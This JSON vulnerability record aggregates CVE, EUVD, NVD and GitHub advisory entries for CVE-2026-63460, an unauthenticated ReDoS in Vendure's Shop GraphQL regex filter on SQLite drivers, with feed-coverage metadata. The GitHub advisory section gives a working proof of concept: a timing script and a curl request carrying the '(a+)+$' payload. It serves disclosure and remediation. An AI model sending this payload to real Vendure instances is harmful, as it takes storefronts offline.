{"id":"CVE-2026-63460","revision":null,"records":[{"revision":"fd334cd9c6774da7b7a6179abb46db4b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-63460","aliases":[],"title":"Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends","description":"Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.","state":0,"publishedAt":"2026-09-17T14:38:45.282+00:00","modifiedAt":"2026-09-17T15:04:11.699+00:00","affected":[{"ecosystem":"Vendor product","name":"vendure","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vendurehq\",\n                    \"product\": \"vendure\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.6.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7","https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9","https://github.com/vendurehq/vendure/releases/tag/v3.6.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63460","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-63460","identifiers":["CVE-2026-63460"]},"retained":false,"historicalAffected":[]},{"revision":"60024776237d43169f387cfe740bdb73","observedAt":"2026-11-11T15:06:23.516+00:00","statement":{"source":"euvd","id":"EUVD-2026-81667","aliases":["CVE-2026-63460","GHSA-jgm3-qmp2-c4p7"],"title":"Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/he…","description":"Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7","https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9","https://github.com/vendurehq/vendure/releases/tag/v3.6.5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81667","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 2:38:45 PM","dateUpdated":"Sep 17, 2026, 3:04:11 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81667","identifiers":["EUVD-2026-81667","CVE-2026-63460","GHSA-jgm3-qmp2-c4p7"]},"retained":false,"historicalAffected":[]},{"revision":"516dbb3c0c7a48fd8bf95b7a7b663f9d","observedAt":"2026-10-25T15:18:45.851+00:00","statement":{"source":"nvd","id":"CVE-2026-63460","aliases":[],"title":"Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/he…","description":"Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.","state":0,"publishedAt":"2026-09-17T15:16:49.447+00:00","modifiedAt":"2026-09-17T21:16:02.56+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9","https://github.com/vendurehq/vendure/releases/tag/v3.6.5","https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63460","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1333"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T15:16:49.447","lastModified":"2026-09-17T21:16:02.560"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-63460","identifiers":["CVE-2026-63460"]},"retained":false,"historicalAffected":[]},{"revision":"d04d349b83984e0899648f7d71550e6b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-jgm3-qmp2-c4p7","aliases":["CVE-2026-63460"],"title":"Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends","description":"### Summary\n\n> [!IMPORTANT] \n> Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.\n\nThe `StringOperators.regex` filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.\n\n---\n\n### Details\n\nVendure registers a JavaScript UDF so that SQLite can handle the `REGEXP` operator:\n\n**`packages/core/src/service/helpers/list-query-builder/list-query-builder.ts` lines 917–931**\n```ts\nprivate registerSQLiteRegexpFunction() {\n    const regexpFn = (pattern: string, value: string) => {\n        const result = new RegExp(`${pattern}`, 'i').test(value);  // user-controlled pattern\n        return result ? 1 : 0;\n    };\n    if (dbType === 'better-sqlite3') {\n        driver.databaseConnection.function('regexp', regexpFn);\n    }\n    if (dbType === 'sqljs') {\n        driver.databaseConnection.create_function('regexp', regexpFn);\n    }\n}\n```\n\nThe `pattern` argument is the raw value of `StringOperators.regex` submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing `new RegExp(pattern)`.\n\n**`packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts` lines 321–325**\n```ts\ncase 'regex':\n    return {\n        clause: getRegexpClause(fieldName, argIndex, dbType),\n        parameters: { [`arg${argIndex}`]: operand },  // operand = raw user input\n    };\n```\n\nThe `products` resolver in `packages/core/src/api/resolvers/shop/shop-products.resolver.ts` carries **no `@Allow` decorator**, and the access control strategy treats an empty permission set as publicly accessible:\n\n**`packages/core/src/config/auth/default-entity-access-control-strategy.ts` lines 49–52**\n```ts\nasync canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {\n    if (permissions.length === 0) {\n        return true;   // no @Allow → public\n    }\n    ...\n}\n```\n\nThe three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path.\n\nAffected database drivers: `better-sqlite3`, `sqljs`.  \nMySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).\n\n---\n\n### PoC\n\n<img width=\"1610\" height=\"458\" alt=\"image\" src=\"https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b\" />\n[poc.zip](https://github.com/user-attachments/files/28752976/poc.zip)\n[poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js)\n\n**Prerequisites:** Node.js ≥ 18. No account, no server, no dependencies.\n\n**Step 1 — save the following as `poc-redos.js`:**\n\n```js\n// Exact code from list-query-builder.ts:918-919\nconst PATTERN = '(a+)+$';\nconst VALUE   = 'a'.repeat(28) + 'b';\nconsole.log('[*] pattern:', PATTERN, '  value:', VALUE);\nconsole.log('[*] Starting (server would be unresponsive from this point)...');\nconst start = Date.now();\nconst result = new RegExp(`${PATTERN}`, 'i').test(VALUE);\nconsole.log('[+] elapsed:', Date.now() - start, 'ms  result:', result);\n```\n\n**Step 2 — run it:**\n```cmd\nnode poc-redos.js\n```\n\n**Expected output (verified on Node.js v24.14.0):**\n```\n[*] pattern: (a+)+$   value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab\n[*] Starting (server would be unresponsive from this point)...\n[+] elapsed: 19755 ms  result: false\n```\n\nA 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.\n\n**Step 3 — GraphQL payload (against a running Vendure instance with `better-sqlite3` or `sqljs` driver):**\n```cmd\ncurl -s -X POST http://localhost:3000/shop-api -H \"Content-Type: application/json\" -d \"{\\\"query\\\":\\\"{ products(options:{filter:{name:{regex:\\\\\\\"(a+)+$\\\\\\\"}}}) { items { id } } }\\\"}\" --max-time 60\n```\n\n*No test account is needed. The `products` query is publicly accessible.*\n\n---\n\n### Impact\n\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS)\n\n**Who is impacted:**\n- Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver (typical for development environments and single-server small deployments created via `@vendure/create`).\n- Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session.\n- A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).\n- Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.\n\n---\n\n### Fix\n\n1. **Validate the regex before constructing it.** Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. `safe-regex2` or `recheck`) before passing them to `new RegExp()`.\n\n2. **Enforce a maximum pattern length.** Reject `StringOperators.regex` values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.\n\n3. **Run the UDF in a worker thread.** Move `regexpFn` off the main event loop by executing it in a `worker_threads` context with an `AbortSignal` timeout so a hung regex cannot block the server.\n\n4. **Require authentication for filtered list queries.** Add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.\n\n---","state":0,"publishedAt":"2026-09-17T14:49:56+00:00","modifiedAt":"2026-09-25T17:45:04.6543686+00:00","affected":[{"ecosystem":"npm","name":"@vendure/core","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7","https://nvd.nist.gov/vuln/detail/CVE-2026-63460","https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9","https://github.com/vendurehq/vendure","https://github.com/vendurehq/vendure/releases/tag/v3.6.5"],"sourceUrl":"https://github.com/advisories/GHSA-jgm3-qmp2-c4p7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jgm3-qmp2-c4p7","identifiers":["GHSA-jgm3-qmp2-c4p7","CVE-2026-63460"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T10:55:30.8237330+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T10:55:30.823733+00:00","lastSuccessAt":"2026-11-12T10:55:31.0556782+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:55:31.055679+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-597d2a846bb8b004ef04143ee27b4f2061367ce1f574db03c0eec66ce3f0654b","complete":true,"records":424644,"lastAttemptAt":"2026-11-12T10:53:33.7939567+00:00","lastSuccessAt":"2026-11-12T10:53:33.7645522+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:53:33.7939567+00:00","snapshotPublishedAt":"2026-11-12T10:28:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9db698e4659747149ec1092e3d34a5a1","complete":true,"records":13764,"lastAttemptAt":"2026-11-12T10:56:11.9015763+00:00","lastSuccessAt":"2026-11-12T09:56:01.656+00:00","error":null,"lastVerifiedAt":"2026-11-12T09:56:01.656+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13817,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T10:55:30.8237330+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T10:55:30.823733+00:00","lastSuccessAt":"2026-11-12T10:55:31.0564011+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:55:31.0564012+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bd366c4173b74364bb995788ecd92c36","complete":false,"records":13764,"lastAttemptAt":"2026-11-12T10:56:10.5374387+00:00","lastSuccessAt":"2026-11-12T10:56:10.532+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:56:10.532+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13313,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T10:55:30.6813009+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:55:30.6813009+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T10:53:33.9269183+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:53:33.9269183+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f46f74c6a30a9b6e4cfb481719c6d35521ebec2d53ebf163223d093ae587eb9d","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T10:55:30.7817941+00:00","lastSuccessAt":"2026-11-12T09:55:31.1176285+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:55:30.7817941+00:00","snapshotPublishedAt":"2026-11-12T09:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-cafddcfb656ee3e2c62171513201ded79d8731137bd7467a5e566349080db7d4","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T10:55:30.5507315+00:00","lastSuccessAt":"2026-11-12T10:55:29.0211827+00:00","error":null,"lastVerifiedAt":"2026-11-12T10:55:30.5507315+00:00","snapshotPublishedAt":"2026-11-12T10:33:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}